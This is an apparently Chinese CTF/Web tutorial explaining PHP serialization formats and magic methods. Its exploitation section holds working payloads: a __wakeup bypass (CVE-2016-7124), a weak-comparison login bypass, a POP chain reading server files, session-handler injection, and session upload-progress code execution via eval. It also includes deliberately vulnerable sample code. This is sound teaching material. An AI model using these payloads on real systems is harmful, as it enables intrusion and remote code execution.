PHP中的序列化与反序列化

 CTF / Web
被浏览

序列化和反序列化是非常重要的概念,不仅仅存在于 CTF,也广泛的存在于平时操作中,本文就介绍一下序列化、反序列化的基础知识以及常见的可能出现的漏洞。

定义

序列化:把对象转化为可传输的字节序列过程称为序列化。

反序列化:把字节序列还原为对象的过程称为反序列化。

事实上可以反序列的类型并不只有对象,但是对象是最常见的。

一般来说匿名函数是无法被序列化和反序列化的,但通过一些拓展库比如 Opis Closure 也能做到这两点。

为了能够 unserialize() 一个对象,这个对象的类必须已经定义过。如果序列化类 A 的一个对象,将会返回一个跟类 A 相关,而且包含了对象所有变量值的字符串。

如果要想在另外一个文件中反序列化一个对象,这个对象的类必须在反序列化之前定义,可以通过包含一个定义该类的文件或使用函数 spl_autoload_register() 来实现。

用处

正如定义所强调的可传输,有了序列化和反序列化,对象可以跨平台存储,和进行网络传输。又或者说将运行时的数据保存到本地,下次运行再唤醒。甚至因为规定了序列化的方式,我们可以类似 JSON 一样跨语言使用对象。

结构

此处参考了网上的文章,笔者根据新版本做了一些修订,写了一些例子。但初始出处已经不可考证,故不放链接。

PHP 对不同类型的数据用不同的字母进行标示:

字母标识数据类型
aarray
bboolean
ddouble
iinteger
ocommon object
rreference
sstring
Sescaped binary string
Ccustom object
Oclass
Nnull
Rpointer reference
Uunicode string

接下来介绍一些常见的类型序列化后字符串的结构:

字符串

字符串型数据(string)被序列化为:

s:<length>:"<value>";

其中 <length> 是源字符串的字节数,而非 <value> 看上去的长度。

举个例子:

1
2
3
4
<?php
$s = "一个测试";
echo serialize($s);
// s:12:"一个测试";

输出结果为 ``。

数组

数组(array)通常被序列化为:

a:<n>:{<key 1><value 1><key 2><value 2>...<key n><value n>}

举个例子:

1
2
3
4
<?php
$arr = array('a', 'b', 'c', 'd');
echo serialize($arr);
// a:4:{i:0;s:1:"a";i:1;s:1:"b";i:2;s:1:"c";i:3;s:1:"d";}

对象

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法

对象类型(object)通常被序列化为:

O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}

其中 <length> 表示对象的类名的字符串长度。<n> 表示对象中的字段个数。这些字段包括在对象所在类及其祖先类中用 public、protected 和 private 声明的字段,但是不包括 static 和 const 声明的静态字段。也就是说只有实例(instance)字段。<filed name 1><filed name 2>……<filed name n> 表示每个字段的字段名,而 <filed value 1><filed value 2>……<filed value n> 则表示与字段名所对应的字段值。

字段名和字段值会被分别序列化。

字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。

字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。

但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。

var 和 public 声明的字段都是公共字段,甚至可以说它们等价,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号 $

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前会加上 \0*\0,这里的 \0 表示 ASCII 码为 0 的字符 NUL。

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。**因此私有字段的字段名在序列化时,字段名前会加上 \0<declared class name>\0。**这里 <declared class name> 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因此声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。

字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

为了更好的体现字段名中包括根据其可见性所加的前缀,我使用了 urlencode,举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Flag {
public $flag = "this is a private object";
}
class Test {
const _const = "this is aconst";
public $var = "this is a var";
public $public = "this is a public";
protected $protected = "this is a protected";
private $private;
static $static = "this is a static";
public function __construct() {
$this->private = new Flag();
}
}
$test = new Test();
echo urlencode(serialize($test));
// O%3A4%3A%22Test%22%3A4%3A%7Bs%3A3%3A%22var%22%3Bs%3A3%3A%22var%22%3Bs%3A6%3A%22public%22%3Bs%3A6%3A%22public%22%3Bs%3A12%3A%22%00%2A%00protected%22%3Bs%3A9%3A%22protected%22%3Bs%3A13%3A%22%00Test%00private%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bs%3A24%3A%22this+is+a+private+object%22%3B%7D%7D

把可见字符给 decode 一下,就变成了 O:4:"Test":4:{s:3:"var";s:3:"var";s:6:"public";s:6:"public";s:12:"%00*%00protected";s:9:"protected";s:13:"%00Test%00private";O:4:"Flag":1:{s:4:"flag";s:24:"this is a private object";}},留意 protected 和 private 的字段名前缀。

魔术方法

这一块其实是 PHP 类的内容。

魔术方法是一种特殊的方法,当对象执行某些操作时会覆盖 PHP 的默认操作,下面列举一些 CTF 中常用的魔术方法,参考 PHP 官方文档。

__wakeup()

函数原型:public __wakeup(): void

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__unserialize()

函数原型:public __unserialize(array $data): void

unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略,此特性自 PHP 7.4.0 起可用。

__toString()

函数原型:public __toString(): string

__toString() 方法用于一个类被当成字符串时应怎样回应。

一些常见的触发情景:

1、echo($obj) / print(\$obj) 打印时会触发。

2、反序列化对象与字符串连接时。

3、反序列化对象参与格式化字符串时。

4、反序列化对象与字符串进行 == 弱类型比较时。

5、反序列化对象参与格式化SQL语句,绑定参数时。

6、反序列化对象在作为接收字符串参数函数如 strlen()、addslashes()、class_exists() 的参数时。

7、在 in_array() 方法中,第一个参数是反序列化对象,第二个参数的数组中有 __toString 返回的字符串的时候 __toString 会被调用。

__invoke()

函数原型:__invoke( ...$values): mixed

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

举个例子:

1
2
3
4
5
6
7
8
9
<?php
class Test {
function __invoke($x) {
echo "\${$x} is called as a function";
}
}
$test = new Test();
$test("test");
// $test is called as a function

__destruct()

函数原型:__destruct(): void

PHP 有析构函数的概念,这类似于其它面向对象的语言,如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

重载

直接照搬的 PHP 文档

属性重载

函数原型:

1
2
3
4
public __set(string $name, mixed $value): void
public __get(string $name): mixed
public __isset(string $name): bool
public __unset(string $name): void

在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。

读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,__isset() 会被调用。

当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,__unset() 会被调用。

参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。

属性重载只能在对象中进行。在静态方法中,这些魔术方法将不会被调用。所以这些方法都不能被声明为 static。将这些魔术方法定义为 static 会产生一个警告。

方法重载

函数原型:

1
2
public __call(string $name, array $arguments): mixed
public static __callStatic(string $name, array $arguments): mixed

在对象中调用一个不可访问方法时,__call() 会被调用。

在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。

$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
public function __call($name, $arguments) {
echo "Calling object method '$name' on line ".implode(', ', $arguments). "\n";
}
public static function __callStatic($name, $arguments) {
echo "Calling static method '$name' on line ".implode(', ', $arguments). "\n";
}
}
$test = new Test();
$test->run( __LINE__);
// Calling object method 'run' on line 11
Test::runStatic(__LINE__);
// Calling static method 'runStatic' on line 12

利用

CVE-2016-7124 绕过 __wakeup()

在 PHP5 < 5.6.25,PHP7 < 7.0.10 的版本都存在有关 __wakeup() 的漏洞,当反序列化中对象中的字段个数和后面字段内容不匹配时,__wakeup() 就会被绕过。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
<?php   
class Test {
function __destruct() {
echo 'Bypass';
}
function __wakeup() {
echo 'Fail to ';
}
}
$payload = $_GET['payload'];
unserialize($payload);

对于正常的序列化字符串 O:4:"Test":0:{} 来说肯定输出的是 Fail to Bypass,但是在低版本的 PHP 中可以构造错误的序列化字符串来绕过。

payload:/index.php?payload=O:4:"Test":1:{}

输出 Bypass

弱类型比较绕过

本来想放到弱类型比较讲的,想想还是放到这里吧。

由于 PHP 是弱类型语言,所以类的成员可以多次赋值成不同的类型。

举个例子:

1
2
3
4
5
6
7
8
9
<?php
class Test {
public $val;
}
$test = new Test;
$test->val = "2333";
var_dump($test->val); // string(4) "2333"
$test->val = 666;
var_dump($test->val); // int(666)

考虑有以下代码:

1
2
3
4
5
6
7
8
class User {
public $name;
public $password;
}
$data = unserialize($_POST['data']);
if ($data->user == 'admin' && $data->password == 'secret') {
echo 'login success!'.PHP_EOL;
}

构造 payload:

1
2
3
4
5
6
7
8
9
10
<?php
class User {
public $name;
public $password;
}
$user = new User;
$user->name = true;
$user->password = true;
echo serialize($user);
// O:4:"User":2:{s:4:"name";b:1;s:8:"password";b:1;}

发现我们成功登录了!

POP链构造

POP 是指面向属性编程(Property-Oriented Programing), 用于上层语言构造特定调用链的方法。

我们去寻找会被自动调用的方法,比如 __destruct()__toString() 等,然后找到里面可能可以利用的函数或者语法结构,再找到和这些函数相关的成员,只要这些成员可控,就能执行恶意代码或者拿到想要的文件了。

注意 PHP 是弱类型语言,所以类的成员可以多次赋值成不同的类型,因而不必拘泥于原来 __construct() 中给变量赋值的类型,可以去找可利用的恶意类。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class MyFile {
public $name;
public $user;
public function __construct($name, $user) {
$this->name = (string)$name;
$this->user = (string)$user;
}
public function __toString() {
return file_get_contents($this->name);
}
public function __wakeup(){
if (stristr($this->name, "flag") !== false) {
$this->name = "/etc/hostname";
} else {
$this->name = "/etc/passwd";
}
if (isset($_GET['user'])) {
$this->user = $_GET['user'];
}
}
public function __destruct() {
echo $this;
}
}
if (isset($_GET['input'])) {
$input = $_GET['input'];
if (stristr($input, 'user') !== false) {
die('Hacker');
} else {
unserialize($input);
}
} else {
highlight_file(__FILE__);
}

我们可以发现这么一个链子 __wakeup() -> __destruct() -> __toString(),在 __toString() 中存在可利用的函数 file_get_contents

但是 __wakeup() 中的 name 字段被重新赋值了,而高版本 PHP 中并不能绕过 __wakeup(),怎么办?

发现 user 是我们能控制的,那么可以借助引用将 name 绑定到 user 上去,而且 user 的赋值正好在 name 赋值之后!

但是在最开始的 input 过滤了 user,我们可以利用结构里提到的 S 类型绕过。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class MyFile {
public $name;
public $user;
}
$x = new MyFile();
$x->user = "";
$x->name = &$x->user;
$payload = serialize($x);
$payload = str_replace("user", "use\\72", $payload);
$payload = str_replace("s:", "S:", $payload);
echo $payload;

得到 payload:?input=O:6:"MyFile":2:{S:4:"name";S:0:"";S:4:"use\72";R:2;}&user=flag.php

SESSION反序列化

SESSION机制

假如有以下代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
session_start();
if (empty($_SESSION['count'])) {
$_SESSION['count'] = 1;
} else {
$_SESSION['count']++;
}
?>
<p>
Hello visitor, you have seen this page <?php echo $_SESSION['count']; ?> times.
</p>

如果你第一次访问这个页面,它会在服务器生成一个名为 sess_<SID> 的 session 文件,并将 SID 保存到 cookie 中,以供下次会话时使用。

这个过程中,会填充 $_SESSION 超级全局变量,并在程序结束时将其序列化储存在 session 文件中。

说是序列化其实和常规的 serialize 有一定的差异,在这里存在多种序列化方式,可在 session.serialize_handler 配置项进行更改,默认是 php。

引擎存储方式
php`
php_binary<chr(key)><key><serialized_value>
php_serialize<serialized_session>
1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['handler'] = 'php';
// handler|s:3:"php";
1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['handler'] = 'php_binary';
// handlers:10:"php_binary";
1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['handler'] = 'php_serialize';
// a:1:{s:7:"handler";s:13:"php_serialize";}

引擎不同导致的漏洞

一般来说 session 是用户有限更改的或是在后端控制之下的。但是如果在同一个 web 应用中用了两个引擎就可能出现这个漏洞。有一说一,这种漏洞也挺离谱的,不像是正常环境能出来的,只要不在代码里自定义引擎就不会有这种 bug 产生。

产生的原因是 php 和 php_serialize 引擎在处理 | 的时候是不同的行为。

如果生成 session 是用 php_serialize,读取 session 是用 php,| 在 php_serialize 眼中只是一个普通字符,但在 php 眼中却是键名和键值的分隔符。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
// login.php
<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if (isset($_GET['user'])) {
$_SESSION['user'] = $_GET['user'];
echo "login success!";
} else {
echo "login first!";
}
1
2
3
4
5
6
7
8
9
10
11
12
// index.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class User {
public $name;
function __wakeup(){
echo "hello ".$this->name."!<br>";
}
}
echo "is there something wrong?";

构造 payload:

1
2
3
4
5
6
7
<?php
class User {
public $name;
}
$user = new User();
$user->name = "233";
echo "|".serialize($user);

先访问 login.php?user=/login.php?user=|O:4:"User":1:{s:4:"name";s:3:"233";}

然后访问 index.php 就能发现 __wakeup() 魔术方法被调用了。

SESSION上传进度

session.upload_progress.enabled = On 的情况下,session 文件会记录文件上传的进度,这就意味着 session 文件内容可控,则可能产生反序列化漏洞。

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class Shell {
public $shell;
function __construct() {
$this->shell = 'phpinfo();';
}
function __destruct() {
eval($this->shell);
}
}
if(isset($_GET['phpinfo'])) {
$m = new Shell();
} else {
highlight_string(file_get_contents('index.php'));
}

然后得到 session.upload_progress.enabled=On 以及 session.upload_process.name

构造 payload,传递表单:

1
2
3
4
5
6
7
8
9
10
11
<?php
class Shell {
public $shell = 'print_r(scandir(dirname(__FILE__)));';
}
$x = new Shell();
?>
<form action="http://localhost/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value=<?= "|".serialize($x); ?> />
<input type="file" name="file" />
<input type="submit" />
</form>

就能任意执行 PHP 代码了。

但是一般来说在 session.upload_progress.cleanup = On 的情况下(默认情况下),新建的上传进度马上就会被销毁,导致反序列化失败,我们需要利用条件竞争,让服务器在没反应过来删除的时候成功反序列化。

可以利用 BurpSuite 的 intruder 模块多线程发包。